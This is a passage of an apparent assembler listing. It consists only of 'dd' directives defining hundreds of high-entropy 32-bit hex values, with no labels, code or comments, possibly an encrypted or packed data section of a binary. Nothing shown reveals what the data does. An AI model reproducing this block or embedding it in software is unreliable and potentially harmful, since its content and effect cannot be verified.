		dd 159AFD14h, 7C3E6650h, 0F7B4224Ah, 0D2EFE549h, 5BA3D811h
		dd 0EDF0B45Dh, 0A1E20F5Bh, 0C72B2889h, 58F6F4E6h, 680479B2h
		dd 6D9D7810h, 2DAD80AEh, 0E33E3830h, 596CAF91h,	0C2AEB9F6h
		dd 0D3C3138Dh, 2FC193B1h, 0C2006DD5h, 52BB0F66h, 91862041h
		dd 0CCEB801h, 44316BC8h, 608F757Eh, 0B568573Ch,	0B91E98BDh
		dd 0C1561730h, 9E6E0267h, 0A08206B6h, 0C868A307h, 3512E7CEh
		dd 3D017561h, 3D70051Ah, 604C0834h, 0F1E527D8h,	4358EF7Bh
		dd 14320192h, 0D1F75D69h, 379F012Bh, 8147A853h,	2F8AF10Eh
		dd 0C820FF8h, 0DD3FA6CCh, 3588A8C2h, 457A4FDh, 0C0180763h
		dd 29BFE634h, 6A55AB26h, 5F709101h, 8D7E4627h, 9A753FD8h
		dd 124E4D09h, 92887661h, 0E1460558h, 0E4E24619h, 80974090h
		dd 0C3E8C122h, 20A05F33h, 9463F86Ch, 0E6FA177Fh, 2D22451Ah
		dd 89B77E70h, 32FB3AB4h, 0B15B0C0Ah, 0D1595463h, 25336597h
		dd 0E912DB53h, 0D3064BF3h, 2A8972DEh, 0C5755EA6h, 24F2A8B5h
		dd 6242BB41h, 0D3290322h, 2DFEE5BAh, 1CF3EB85h,	19B0E486h
		dd 668E0C4Ah, 99096B9Eh, 9563835Ah, 0C73102C2h,	19F12E9Bh
		dd 589568FCh, 0DE6809EAh, 81BFD95Bh, 49832918h,	45E0F6F7h
		dd 6DFA46F1h, 0A9E94B17h, 975863F0h, 9B3FA045h,	0D871C58Bh
		dd 69BBBF77h, 0CDE9E8E8h, 0F7306BF8h, 3E05D1BAh, 0D08B43D3h
		dd 7FF65F5Ah, 8B12F82Bh, 0F45E144Bh, 302C2CD8h,	561C1B94h
		dd 0E33FFB90h, 31C713A8h, 0F60597B9h, 833CEA7Dh, 9059DB5Eh
		dd 8CCB8FE7h, 30F79329h, 0EDAE42D2h, 1E76FD54h,	0AB8FF200h
		dd 0E95782A1h, 393C6685h, 0C35B6EC1h, 0E0F0E195h, 0FAE84112h
		dd 85C16AFAh, 4CF18FD2h, 83061684h, 8EC0ABC3h, 4CC233D7h
		dd 45E5D2Ch, 98E3287Dh,	882451E4h, 6E1266C1h, 0C49EA287h
		dd 0A6D4A021h, 21E8D212h, 836EAF5h, 0CF5C580Dh,	7B1268B0h
		dd 99E4695h, 32C717F2h,	402D85F2h, 0BAE14BDAh, 4B695010h
		dd 0F73B1457h, 315F0B61h, 0B4CFC9F9h, 2DEA1408h, 0F9D67F24h
		dd 94681208h, 1916247h
		dd 0F8215F21h, 0E99ACC2Eh, 6F9375EDh, 0AEFD302Dh, 9D0F5D6Fh
		dd 95DB6517h, 0EDD173Dh, 974F27A7h, 0AB2A94C9h,	2AA47634h
		dd 566812D4h, 849E1373h, 602CCB3Fh, 6AE958A5h, 4594AAEAh
		dd 0BA5C924Ch, 54BF5424h, 0AF5823DBh, 296FAF45h, 10133F6Dh
		dd 151042CEh, 7E2F759Bh, 6C17A8Eh, 42344BE7h, 0B3014E30h
		dd 0E9123B52h, 8C2F461Bh, 6A00BDB6h, 0BE238601h, 0C597D60h
		dd 5DEE312Fh, 1E24241Ch, 2E3C788Dh, 69BB4199h, 40D792E9h
		dd 2757409Bh, 4D5A2BCAh, 7DC20882h, 2475B841h, 32A686Ah
		dd 3034C363h, 80AA8B1Fh, 7F1572E8h, 2B2FCF90h, 2D7D204Ah
		dd 0F6416C12h, 8FD7548Ah, 2F550FE6h, 966D639Bh,	0B6922B2Dh
		dd 0FA27510h, 0B05D5AD3h, 1F40EB39h, 0FB5EE462h, 8443158h
		dd 5BE9F6F3h, 5130003h,	76A15CB5h, 7DB88BDh, 3C71942Ch
		dd 0B05ABE34h, 25069933h, 0B420B45Ah, 5159588Dh, 0ECE965E2h
		dd 24096352h, 0F7024C5Ah, 0DD4EA505h, 2308AB28h, 0B5DA941h
		dd 13484446h, 723D7C9Eh, 0AFD89317h, 5B89DD98h,	509C8AE0h
		dd 0EA83919Bh, 19F2D8FBh, 0D8D758B7h, 0CEC63EBDh, 0C2349D3Ch
		dd 0F1EAE8B5h, 0EF9E025Ah, 59C821FAh, 310EABC0h, 7AF927EDh
		dd 0D2EA754Ch, 1C641352h, 0CFD8682h, 800348Eh, 0CE055C7Dh
		dd 92A382F7h, 2FA8BF9Bh, 32A53BE2h, 917C2E0Bh, 80FB2858h
		dd 0EAFADAF7h, 0A460A538h, 0E2A4169Ah, 7DA42C07h, 229B2D30h
		dd 846EE354h, 5B070BFEh, 0F2E7370Fh, 0E90C201Ah, 93B70DC8h
		dd 5CC5253Ch, 1269AD54h, 3339DA0Bh, 54D5BEC6h, 493EA5BFh
		dd 6F905BFBh, 66814AADh, 82D3E02Ah, 57C3F7Bh, 9990E5ACh
		dd 16EB14E9h, 0D381B940h, 0C801C956h, 6702D46h,	25027372h
		dd 52148A3h, 0E9868854h, 0C930F26Ch, 0F78B496h,	0F64EBF26h
		dd 0FB090105h, 0BF5E35EEh, 5D7FF900h, 9CDE8935h, 0F50150EAh
		dd 0F2E9FDC4h, 17AC76E0h, 0AD385E68h, 0A7E982A9h, 17330448h
		dd 12C453F9h, 44D5F28Ch, 9B4065A3h, 270C68FEh, 0C22732FAh
		dd 3E2BBC0h, 710CE1B0h,	0C4C8A45h, 257AF4A9h, 0B54A0146h
		dd 920B1985h, 20DFDAFAh, 153A8509h, 4A79FE44h, 0B5DAEC19h
		dd 5208764Ah, 186DC01Eh, 97A975D4h, 805F75A4h, 0E75861CAh
		dd 0CEE1074Eh, 7C503F20h, 0B1FD4E36h, 87788E5Dh, 0E97FA267h
		dd 0EC71CA0Eh, 3A7FB1FFh, 14FE6F69h, 9A796E2h, 0C585B9DCh
		dd 2B84CB88h, 552E4AC2h, 513FDCC6h, 0C1800FB1h,	0CF74E4AEh
		dd 8E682F92h, 40492B9h,	0B517D2C4h, 0A8B1F4A8h,	0F3D313DFh
		dd 0D521B646h, 5BC283D2h, 68FE0447h, 4C73E379h,	1E2B1905h
		dd 94605912h, 0BD00E3DBh, 35000379h, 2AF58152h,	17699B38h
		dd 5559E94Dh, 8740A9F4h, 0A809F687h, 0EEC52180h, 2C029E7Ah
		dd 2CEEE67Ch, 5F0040A2h, 881813BBh, 7140165Ah, 6FF36515h
		dd 0B35C5F01h, 5B0C40EDh, 223D682Dh, 0CC270BDCh, 0D36624CAh
		dd 8AC0423Fh, 4811B807h, 53F1E26h, 0A9AAD8B6h, 7C1226A6h
		dd 6048782Fh, 0B1BB4A42h, 3EB0F40Fh, 0A4CEF527h, 15455F5Dh
		dd 36C1E4DAh, 1C0FB888h, 0C71D400Dh, 0DF572F9Dh, 0B601CC00h
		dd 8849E947h, 685601B6h, 381B2D4Ah, 6A7ED26Eh, 0C3963776h
		dd 5B036FF8h, 5302EBC1h, 6CD90AF9h, 51548BE3h, 0DAE9C1B8h
		dd 5C0A9310h, 0E65B68A6h, 0BE0FC273h, 7DC55DC8h, 199773EAh
		dd 1429C781h, 8BEC7F2h,	5C128F8Ah, 9A8E3F06h, 47CA07DFh
		dd 6076F36Bh, 94E4C9F2h, 5963ED5Ch, 7B3500DEh, 40423B19h
		dd 2BF40E05h, 88A248C2h, 0B785BB6Ah, 3EE9F5B5h,	3C01D1C0h
		dd 777E7D87h, 88BF9407h, 290FCBEAh, 48D0ABEEh, 3ABA05E9h
		dd 31835B68h, 0C0B70FC3h, 6A4C6EC1h, 7D7FD933h,	1DFC0911h
		dd 0C6547767h, 0BE090E28h, 80D3F72Dh, 99258314h, 53295C23h
		dd 81431Dh, 0D9CFE7C7h,	5B5ADF31h, 0DA5808CAh, 0A619AD2Ch
		dd 0C829C4CFh, 896B6759h, 54F05E1Eh, 2C0316B5h,	0E238E921h
		dd 18F7F5F2h, 99A47AB5h, 0DDD1A589h, 0D90C04A4h, 564DFD39h
		dd 0B6128B25h, 0D83DA911h, 809021CEh, 0EB788059h, 73A341B5h
		dd 5B252D38h, 67A880F9h, 0A8B90DECh, 7EF3F701h,	98F17C8Fh
		dd 0F4565794h, 6149010h, 0A34E0605h, 0CB3E6022h, 0C02DEC80h
		dd 867608E6h, 8D5F636h,	94B2DC0h, 9DE51C27h, 2A3CF172h
		dd 1B25949Ah, 0A8481405h, 772D0281h, 5D38B60Bh,	45E153C0h
		dd 73E78080h, 0A6EF38CEh, 58ADFA2Ch, 0B95D030h,	12404C7Fh
		dd 91C24CE9h, 2B6C9A28h, 3AC63A30h, 1D4D900Ah, 650C5FF2h
		dd 44F2FE50h, 799A031Eh, 72DD00Ah, 0EA1C9C20h, 755F27E3h
		dd 5139C29Eh, 319E0208h, 0F687B1AFh, 429BC002h,	1AD3F101h
		dd 5058F6C0h, 0A58A50B4h, 63F29C1Dh, 0F2D929B2h, 97043F5Eh
		dd 489716E9h, 84918499h, 202E38B1h, 61B068DCh, 0E5627D96h
		dd 0DD8909C9h, 37F2F890h, 2D96D317h, 7F01EB56h,	56665219h
		dd 0F24BEA3Ch, 0CB25CF41h, 33F8034Bh, 0E71D5006h, 45A0346h
		dd 58C33037h, 325BD881h, 3B0D944h, 616F2D35h, 0AD87B5E5h
		dd 3F7078A2h, 0F79F884Eh, 31FA4BDFh, 9C8126D1h,	681DED80h
		dd 316F44E5h, 30E88861h, 3A620736h, 6359CA19h, 0D122DA78h
		dd 8904A9E5h, 927B0BE8h, 58685582h, 1C9E5710h, 0C70B5397h
		dd 0CC88B6E9h, 6C032504h, 64813227h, 0B2404005h, 0F483DB0h
		dd 49D1F773h, 0F181B0B8h, 0B716EA01h, 59C801ABh, 9258C7CCh
		dd 0D2809D3Ch, 0E9720A56h, 0E817A85Bh, 5D094B8Ah, 1657D729h
		dd 0F9310935h, 0FE68555Fh, 8082F4A7h, 0B94E8703h, 941FF679h
		dd 70680193h, 30573A0Fh, 9F0CE398h, 0C7A756Fh, 58147850h
		dd 47E8C71h, 89EF983Ch,	0F57CF5DFh, 10443244h, 5A27C303h
		dd 0C89B8C63h, 0E4EC162Fh, 5AD2F0F9h, 33DA3ABh,	781D8DEFh
		dd 45E7B056h, 1B272468h, 462E8906h, 0E9C3616Ah,	0B529B698h
		dd 6272AB0h, 88FDD944h,	0D0259ECCh, 79D895C0h, 0E6F03227h
		dd 0D13C40F1h, 17BFC41h, 7D71C717h, 80CB47CCh, 7B1D7C20h
		dd 0B4565D4Ch, 2BA73505h, 383B2DEAh, 505CA09Bh,	9D7D7468h
		dd 0D0BF146h, 5C612778h, 5F9203FAh, 3E0B70D1h, 86D3DBF9h
		dd 984B11DDh, 0CEE3046Ah, 0C12E9A14h, 6293EBB0h, 40832FB3h
		dd 5A685858h, 0BC513586h, 5832898Dh, 745648D7h,	0DBF0C425h
		dd 25235D5Ch, 277F71DCh, 6F4F4C69h, 712CBC67h, 0B0D09BDh
		dd 68DE5759h, 47C38069h, 0F3601F16h, 0FDD348h, 526C6105h
		dd 0D8EF49BAh, 3B31A426h, 5BDD0101h, 3240CE9h, 3BD1002Dh
		dd 0BD552362h, 0A527017Ch, 976DD81Fh, 0A180F050h, 35E85B1Bh
		dd 0C0942790h, 72D65C25h, 0A97FE109h, 274250BDh, 0C679B236h
		dd 6CC089AAh, 25704C97h, 0AED0681h, 0C287401h, 0FC4B891Ch
		dd 62FBE94Bh, 4725C955h, 7D6005C7h, 2151AD13h, 29F06998h
		dd 29531F1Dh, 5912019Dh, 52E1A602h, 0F977E339h,	5FD96AE9h
		dd 0B563803Fh, 4F4BDEDCh, 58022BACh, 8DB6851h, 0F0648BD6h
		dd 74F4A0C2h, 46B6011Dh, 6051C780h, 662CE71Dh, 7DE21C53h
		dd 28B28388h, 0C15BFADCh, 40C2872Eh, 0BD1A59BBh, 82909094h
		dd 0E970E094h, 788460E4h, 0C05BDE30h, 0F607EE03h, 0F9CEFED6h
		dd 0F797A72Fh, 0B29497EFh, 8B59E0CDh, 54E3A4B9h, 2BB13B0Bh
		dd 125C7661h, 902F2308h, 0F73B8CA6h, 209D96D9h,	0B49661F8h
		dd 17A05393h, 0D1800C06h, 0B077F4E2h, 478F3F03h, 0B22B1150h
		dd 0EBC1177Dh, 0C53E0405h, 0D8310726h, 0B908C326h, 4B0CB4C4h
		dd 36A02320h, 0C89409BBh
		dd 4029852Fh, 9FDADD0Ah, 33987F64h, 99907EE9h, 2C685FFDh
		dd 8D0915A0h, 31C931F9h, 0AACB2E14h, 0CFF8984Ah, 342CD5Fh
		dd 60322B05h, 0BD1FF4FDh, 0C10217EEh, 0EE8106E6h, 832C6080h
		dd 92BB7BE9h, 0FAD77B11h, 537CE268h, 520EF21Bh,	0B665F6B2h
		dd 953B883h, 5E9ADEE9h,	72956068h, 6490502Dh, 0EB4B8A18h
		dd 8240BD84h, 54A5DA85h, 0A9274BE3h, 2256800Bh,	4A506858h
		dd 0E75D3141h, 0EEE18F9Eh, 3A4E4430h, 62065AC1h, 3DF7E900h
		dd 4F1624B1h, 29EA0DC5h, 0B737F8B0h, 0E539EDCEh, 75FC253Eh
		dd 7716E8D7h, 0C2EC834Ah, 17DDF8F5h, 198BC831h,	0C9464F79h
		dd 0F1446A7Ah, 0BB12CF5Dh, 382EBD26h, 0E325A3B4h, 3BB778C5h
		dd 3ECBC9D9h, 5453938Ah, 0A0551EA5h, 5102ABB5h,	5B68413Ch
		dd 22A24D5Ch, 25462537h, 68A9C22Dh, 0EA8B2D7Bh,	0FCB15648h
		dd 0C381929Fh, 13F8FC20h, 288CEC4h, 0A9070168h,	2442767Fh
		dd 0AE00E994h, 408C35CEh, 8F68100h, 6814B13Dh, 6A1C58DAh
		dd 835E3DD9h, 0ED337624h, 4B0C0612h, 0AEB92FC4h, 0FB6F900Bh
		dd 82C7523Eh, 6B30F708h, 669DF0A9h, 0C49982BAh,	0D49C2F36h
		dd 8AD3927Ah, 5AFEFF32h, 828920DEh, 72434B25h, 20F301A7h
		dd 0E9EAC5F0h, 0EF21A688h, 0C8C138D0h, 22A76548h, 315BF9D8h
		dd 7D6C3057h, 4BF80188h, 5F43E405h, 1C470915h, 0E9C261EBh
		dd 4E7E9C5Bh, 0A413ADA8h, 0B4C95905h, 0DD9C75B6h, 53175EFEh
		dd 36A41768h, 0B376633h, 928A314h, 0BA40EBFEh, 3C803BBBh
		dd 0B22D363Dh, 0B97F3A62h, 0F5F85C7Fh, 0B81AC381h, 63F83EE1h
		dd 1912C925h, 0BBC129EDh, 97A6D6FEh, 0D16B8808h, 0B4FCF025h
		dd 417A1CFFh, 0DF2D11C8h, 0D61AE575h, 5183CA5Dh, 15936027h
		dd 69B517C1h, 0C56CC85Dh, 552EE848h, 812D126Fh,	31EB31C4h
		dd 330F32E7h, 0D3C104D1h, 8BE19A04h, 0BC8607ECh, 61B5AC97h
		dd 0B0490BB0h, 202CDB25h, 11F63BD0h, 0E9490B9Fh, 338575Dh
		dd 53B94009h, 5714C6Ch,	1E2848C9h, 0EB8009EDh, 0F4D858D9h
		dd 0C0FB3A37h, 0F9814D52h, 0BC84A04h, 8F792680h, 0C554518Bh
		dd 47B096C2h, 76F5861Ah, 0AD93D192h, 0F641B180h, 68C180D9h
		dd 3C020A02h, 3090F189h, 0C86AEE8Eh, 54550A37h,	931008B5h
		dd 0FB3BC32Ch, 5627D8B4h, 7A725AF8h, 5EFCFEA0h,	8167AD00h
		dd 52A108C6h, 70E91298h, 29C443BBh, 60105AD7h, 0BA0F99CCh
		dd 174B55E4h, 85C2A684h, 3A0D829Fh, 33BD01D0h, 3ED4E100h
		dd 129EA905h, 0C4CF06D0h, 33EC5F27h, 1659CF25h,	0A0E927BAh
		dd 5BDA61E8h, 24FA313Dh, 4CB886A5h, 17AE1504h, 7E5A25B0h
		dd 6B9E2EEEh, 902C54DAh, 8CC2641Eh, 80530587h, 20982FBAh
		dd 55EB8103h, 0D7164E50h, 2BE0765h, 333914F2h, 0F70F0077h
		dd 266843D3h, 6C9B1558h, 1D077B46h, 62BE77B2h, 8B99D982h
		dd 9D4DAB6h, 1FE9DE29h,	0C659E425h, 800304C0h, 0B35348E6h
		dd 252486FDh, 432FB5CAh, 4CEF54C3h, 6FD49A01h, 0D301609Ch
		dd 0D0081CA0h, 5A2E141Ch, 0FDAA3894h, 3F6812EBh, 104B5C5Dh
		dd 9BF0113h, 2137794Ah,	16DEA43Ah, 7DC27E3Ch, 7BDDD097h
		dd 25CAEAD7h, 92581520h, 0A24BD30Ch, 0B520C6Bh,	89BD4C8Bh
		dd 88F598EAh, 0A8AC894Ch, 45A08713h, 18E59D5Ah,	0CBBA6801h
		dd 36208594h, 4ED183F8h, 1ACF2E04h, 0E617AF57h,	4D1C4EEDh
		dd 4263E4h, 517DABAh, 0F2810155h, 0DC90F2Ch, 5A686452h
		dd 89E2C13Fh, 52F560E9h, 31519519h, 51E7560Bh, 435A8FEEh
		dd 0A95D3149h, 6FD017h,	516EAD35h, 0D210053Bh, 0BAF0F84Fh
		dd 0DB3D0412h, 10C20102h, 0D9582D08h, 2067A8ABh, 9090F4C1h
		dd 0FDCF2331h, 4E263984h, 5D30BC12h, 0A80493EAh, 33B193A7h
		dd 4D1247Eh, 0EB19AEBBh, 653B5E6Dh, 1949009Fh, 0E94A3756h
		dd 0ED16035Bh, 987EF6C9h, 0CD417DF1h, 4E838E2Bh, 4056BC32h
		dd 1EF95h, 0C5817D29h, 0B2EC1AE5h, 9BEE8924h, 283D60Bh
		dd 5CA3E911h, 65874FE1h, 890AC2DBh, 9DA1ED40h, 3C27B180h
		dd 4FF8D1F6h, 1AA48C8Ch, 1D66E640h, 35FC22Dh, 51738205h
		dd 15A6B9C8h, 0EF2B61FBh, 0FF6914EEh, 85DB85AEh, 0F2A5FCE8h
		dd 59B42DB6h, 88700FF3h, 0C7C7584Eh, 0B6ABEF5Eh, 2DEA030h
		dd 90E91EB4h, 2AF2D49h,	118D97Eh, 78A05D0h, 0C75114CDh
		dd 34243E62h, 95241C77h, 0E90BFAE5h, 0B839A037h, 5A462FF9h
		dd 484B0F5Dh, 0B58E0DC4h, 5B812EC8h, 5901A97Ch,	98D6EE53h
		dd 5CBEC269h, 445F5AD7h, 6E681236h, 10C3A230h, 854A7DC6h
		dd 0E02F41F4h, 3A444C1Fh, 0A1650622h, 4FDFF7DCh, 3E0FAE38h
		dd 0D2CB3FD0h, 70F9AD91h, 449DC6DBh, 739C909Bh,	45DD0D4Dh
		dd 300B51BDh, 7D0FB938h, 0C2290B88h, 82BF5750h,	43F88909h
		dd 1BA2EC23h, 0C763025h, 39B45070h, 0C00EFECCh,	83BF06ECh
		dd 0D7F6FC86h, 2E80083Ch, 0E90411C7h, 25BEE20Bh, 0A4B31109h
		dd 0CBC8311Fh, 0FBA3FA4Ah, 0CF999EEFh, 0AE0C9253h, 1F81CFEh
		dd 44E951D8h, 0C83422E0h, 0F2E21614h, 2E8058F5h, 0F0036D05h
		dd 0F17E913Ch, 417A1D72h, 0F518A227h, 72C17B55h, 50018516h
		dd 0A0312C5Ah, 5006EAC1h, 0C89A74Ah, 8165E23Ah,	1C760338h
		dd 394A91E8h, 2F235E8h,	5F068532h, 7C4382h, 0AC42D8BBh
		dd 0B0EB2CC0h, 0C11E710Ch, 7A5D630Ch, 0E2F3F03Bh, 62A62710h
		dd 885A5704h, 0EF43AE49h, 901774C3h, 0BDDE891Fh, 1C75DE0h
		dd 29285317h, 0E9846BA8h, 469BF0B5h, 330E817Ch,	0C0182614h
		dd 0C72D8DE6h, 0FD729D5Ch, 92A5F809h, 33500CCh,	7F723C71h
		dd 814FB001h, 0B13B5E08h, 0BFC86A13h, 0F7EA1A87h, 0B20008D5h
		dd 3050605Bh, 0C220AA98h, 3A667FBEh, 0BB0F53F1h, 0ABAB6F32h
		dd 9C9DA5D0h, 1773973Bh, 2F112F08h, 5048F078h, 0B6C92078h
		dd 0CC4A14DEh, 0B04D0F07h, 906FF478h, 8036B23Ah, 0E00C22D3h
		dd 77B047CAh, 0C11549ABh, 3982522Eh, 5732D63Dh,	0A7C15195h
		dd 0C1CD2823h, 536006C4h, 0F9D04F31h, 0E9AC099Fh, 602B7BEAh
		dd 0CA88D500h, 201F0459h, 0D8D7D028h, 0FB8EA56h, 66BF0EA1h
		dd 0C3E44E12h, 0A28F5AA2h, 7B297854h, 0B53C14F2h, 67BEC7F9h
		dd 0A86BC4D7h, 6856019Ah, 3E09066Ah, 8345FF41h,	0CE89198Eh
		dd 5961F24Fh, 2F5AD101h, 0E9C5FBE2h, 0C0835370h, 9A1A84E7h
		dd 2B49027Ch, 0F8680B5Eh, 2AD1A3Dh, 91878FF4h, 0D14306C8h
		dd 9EB5B59Ch, 0C62CA7DDh, 0B265E84Ah, 0D68C98C7h, 0B179970Dh
		dd 0B84E1B3Ch, 50B83B47h, 611A4582h, 1A574027h,	261177CFh
		dd 9F0A3B3Bh, 0BABACD15h, 7F8CCE10h, 13F39D55h,	0B9A0E941h
		dd 2CC88978h, 129A4508h, 0AAD8525Eh, 0CDCCB812h, 52C31601h
		dd 8D4FE8BAh, 782BBDBBh, 555BE95Dh, 77801184h, 955966E8h
		dd 0F5962104h, 165379D0h, 18B63C3Eh, 724A5D73h,	0BABDFA85h
		dd 0B32F892Dh, 9862463h, 1B926884h, 4E5F8BBFh, 55BA8F82h
		dd 865D348h, 31629C1Bh,	0F3F84E57h, 0C39193B0h,	0D834F6AFh
		dd 0A8070BF7h, 0BE5CD457h, 0F5F05516h, 0CA5D5CEAh, 699D2D20h
		dd 9924CBF4h, 123AE85Ch, 0A3221668h, 5DB00269h,	7E51C834h
		dd 259948C6h, 31436F54h, 0CF0628F9h, 67577F06h,	0E9501F87h
		dd 58FA5E43h, 2D4C0CAAh, 258CC9CEh, 3E2CFB97h, 90E6B2D5h
		dd 6BD9E940h, 0B3DBFA79h, 0EE7139E9h, 0DA7E5935h, 51A06185h
		dd 78D4D1B9h, 0BC9FE6Ch, 1B297687h, 7ED57800h, 2EA7F79h
		dd 7C5C0540h, 0DE05E5Bh, 42ED5E44h, 0B806D0F0h,	5F8825Dh
		dd 84FB9A9h, 0D01149C1h
		dd 0F8FB25B5h, 23F606EEh, 0B14F029Dh, 0C87F60AEh, 2DA07C2Ch
		dd 4225B01Dh, 42CDE1F5h, 0B2D179E4h, 0F7D84E3Fh, 0F920BD6Fh
		dd 1DA66852h, 5FF2E980h, 0D06627ABh, 36C3084h, 4732839Fh
		dd 0D25CA736h, 7B2981F0h, 1BA55DC5h, 19578001h,	20BA706Ah
		dd 54FA59C8h, 95AFB496h, 8F688955h, 1377B075h, 34FB056Ch
		dd 0BA869BE9h, 11123052h, 0BD4356AEh, 2C4B5836h, 548B3895h
		dd 5973FE5Ah, 5AB938C8h, 96937FB7h, 0D09FE043h,	0E74300C2h
		dd 0CD055819h, 0E67F18BCh, 2DAEC65Ch, 4C6C989Eh, 4B68BCE8h
		dd 8B587974h, 6AFC0205h, 0E6C1DEF7h, 6EF634E0h,	9F33316h
		dd 53D806B8h, 5C81A5C8h, 0E03AD471h, 2843766Ch,	385EA952h
		dd 0B60152ADh, 0E9DEF677h, 917A1873h, 40F4EF8h,	780062BEh
		dd 4DEC790Bh, 0D88A6BE1h, 0AC4ACB58h, 3E3479B0h, 0BD80D67Dh
		dd 4BC1FB53h, 4AE4A882h, 0D91260A6h, 68D1205Bh,	0B49F7258h
		dd 0CF432093h, 0C5C35758h, 6CEF0721h, 0B649E9B9h, 4B4049F5h
		dd 9CAEA01Dh, 76FA240Fh, 2EE95CF0h, 0E911AB47h,	3DBF1056h
		dd 24DF0Ah, 695D14AEh, 0AA2DAB58h, 0FB984FECh, 0C95F719Fh
		dd 0E79F77F8h, 35871183h, 41BA8735h, 0FAC76B24h, 0EBADF49Dh
		dd 61BB1AC0h, 904B940Eh, 5C9F0E7Ch, 0DF32C2Eh, 43EBF4E6h
		dd 0DD82700Ch, 0A40B83F5h, 0F1B139Ah, 27E2B8B6h, 88A071E1h
		dd 57138F1Ah, 1CC015C4h, 951BC3BDh, 7C4BAED8h, 0E5C053C0h
		dd 0C5801C03h, 0AAF5C172h, 0F159E820h, 0B104F0E0h, 734BEBFCh
		dd 0EA7249FCh, 42335AE9h, 2068E27Eh, 0A9E1A8EBh, 0D718A1F7h
		dd 401DF8ADh, 89A83133h, 4E95817Eh, 3CFF237h, 339F14DAh
		dd 0DF7B89E9h, 1CDCF207h, 0C2601EFBh, 5A6228D2h, 0E022C772h
		dd 3F590FCEh, 8F370CC0h, 5BE93661h, 5E1E0985h, 0D26375Bh
		dd 0D8374125h, 0D265A843h, 219A49E1h, 3BEB9DBh,	5E6F1935h
		dd 0E66CCC82h, 88125836h, 121D870Ch, 0AD3B7650h, 40D4282Ch
		dd 0B57CCBE2h, 0EF531628h, 51A20BB7h, 0E4DF4EF7h, 0CCFF6223h
		dd 0B762A2FEh, 897E0BF1h, 1B685101h, 21384A0Ch,	0F17E91Ah
		dd 1DFB0075h, 6801405Ch, 0B08DECBh, 0A5805559h,	3C3770C5h
		dd 0BC1BD31h, 998984E9h, 30F72D68h, 0FFF0D3CDh,	27D529D4h
		dd 91F9215Ah, 940B5368h, 2570F9F5h, 0F602AD5Eh,	866F4F3Eh
		dd 2A31EA91h, 2076BF57h, 283BA1A7h, 244DF0D4h, 5BDE0B86h
		dd 0C9FED1h, 0BFBDC85Ch, 0E6A1F531h, 0C823683Ah, 1F1AA783h
		dd 91C335Fh, 13B2680Ch,	5E4B5579h, 0CA68C21Eh, 7569D376h
		dd 5E897296h, 8F823AF4h, 81477F57h, 1B105D24h, 8F645C27h
		dd 0D801A3C2h, 12DF05Bh, 552FBA37h, 35BCF1E9h, 124772FEh
		dd 17B376BBh, 0B9374E7Dh, 7E548989h, 64635AE4h,	7FE44DE0h
		dd 48645694h, 91E664EBh, 3A2C3D8Dh, 927339CCh, 0A168173Ah
		dd 0DE6EAC65h, 7D472079h, 45ED5AE9h, 0F9B00BEFh, 0F7D08493h
		dd 2E78AC17h, 1BA49AC9h, 4C687F40h, 2D6EA44Dh, 1BD9AF59h
		dd 0A599243Ch, 3CE25E93h, 126ACA4Fh, 1C43A2E9h,	9B2C16BBh
		dd 7E8FD103h, 56533CA7h, 0D12A92BEh, 6856A840h,	0E7183F77h
		dd 952AB0F1h, 3300EE73h, 0A07893EBh, 97297634h,	89098E79h
		dd 806903CFh, 54482FCAh, 5637CFDBh, 2EE90D6Ch, 52963563h
		dd 3DC8875Dh, 0D4684480h, 0FE469D4Bh, 5E0E28EFh, 5825AFE2h
		dd 7B8D8522h, 684130FCh, 0E32E5D29h, 4D42B50Bh,	57A6E956h
		dd 71F15E1Ah, 2F21F2AFh, 560515Eh, 754A5220h, 89229BCh
		dd 0E98B015Eh, 2890228Ch, 49057D0h, 80829796h, 0A342B372h
		dd 0B57980Fh, 0B2E349Fh, 123086DEh, 30C26F59h, 290E4125h
		dd 0A814BDEFh, 13B3CE01h, 3DFFA03Dh, 74135109h,	0CADC561Fh
		dd 637334Bh, 48D75C4Bh,	224602E9h, 0C7611737h, 82A4788Bh
		dd 0F531585Bh, 15E9D518h, 7D25E29Fh, 42B812B0h,	0DC25C12h
		dd 10EA400h, 80292078h,	70B0C083h, 3BECB031h, 0FCE40AEEh
		dd 8A5D4B3Bh, 176800FEh, 58430137h, 483C0B2Dh, 996014E1h
		dd 5BF65350h, 0C89093FCh, 3C52A940h, 61390B2h, 1044E325h
		dd 0B829804Dh, 92C681FEh, 2F6D940Ch, 80291A5h, 5A8B8958h
		dd 38EB3C0Eh, 5183C827h, 1CF9DE01h, 0DA0F92EAh,	76819A09h
		dd 5DC52FACh, 7354120h,	20CD2273h, 0BB8F6888h, 55EDD105h
		dd 86003DD4h, 43DB86F5h, 9D09BADCh, 0CCBCB759h,	1D541319h
		dd 294B85F2h, 95F13EF9h, 0AD02D83Ah, 80A44A45h,	0D39A8866h
		dd 75043D26h, 96C0BC3Ah, 27B899C7h, 0A5420731h,	0E99D82F5h
		dd 4A6E58EDh, 21F5B759h, 729109A3h, 5103FB44h, 0C98035B1h
		dd 71C19845h, 9119888h,	77576866h, 38B56FC8h, 0B9C7801Ch
		dd 2829EFC7h, 0FD6103Dh, 7F9D3173h, 8FB05CFh, 290B13D4h
		dd 0C2F609D3h, 9096DD34h, 0E984D20h, 73822D66h,	3CE2058Bh
		dd 0B867827Fh, 978490F3h, 3EF5A0Fh, 0D5591B47h,	19F7609Fh
		dd 2728D2E2h, 60CB8A29h, 3914838Fh, 0ED85B701h,	651C0818h
		dd 0BCB2854h, 0FBDD20F4h, 284CB804h, 5AE16ACh, 0A52E70A4h
		dd 2C39DDD8h, 0BABF02EAh, 433AECCEh, 59948CB4h,	185DA01h
		dd 0AA303ED7h, 5D07A0F3h, 0AD0A831h, 0F8BEA99Fh, 0E2D0016Eh
		dd 2E6B0548h, 42E8FB1h,	14AA2224h, 0C4B00D8h, 0D00D13E0h
		dd 75E52E11h, 58DB137Ah, 0E42ABCDEh, 0E4EBE5B1h, 0E1B22D35h
		dd 0D898F566h, 1CA41E20h, 0CB3CCE80h, 0D8FC84E6h, 0FE287904h
		dd 648E6C82h, 77E80783h, 47BA3F8Ah, 145FEE1h, 0E2910BCAh
		dd 0A6BB4A5Eh, 8180F1DAh, 6D52EFCBh, 0EEDA9507h, 2F5B4F09h
		dd 64EC8190h, 1C94D44h,	89F107Eh, 21B10658h, 0E9B585D0h
		dd 86B2D950h, 7D376809h, 59273053h, 0FEE94296h,	0E1943A56h
		dd 58A800A9h, 0A02D4DE6h, 5FA4260Eh, 1081E5Ah, 424A07FCh
		dd 3BECE601h, 96AE4CB5h, 0A4D3A709h, 77595409h,	9CC13DB0h
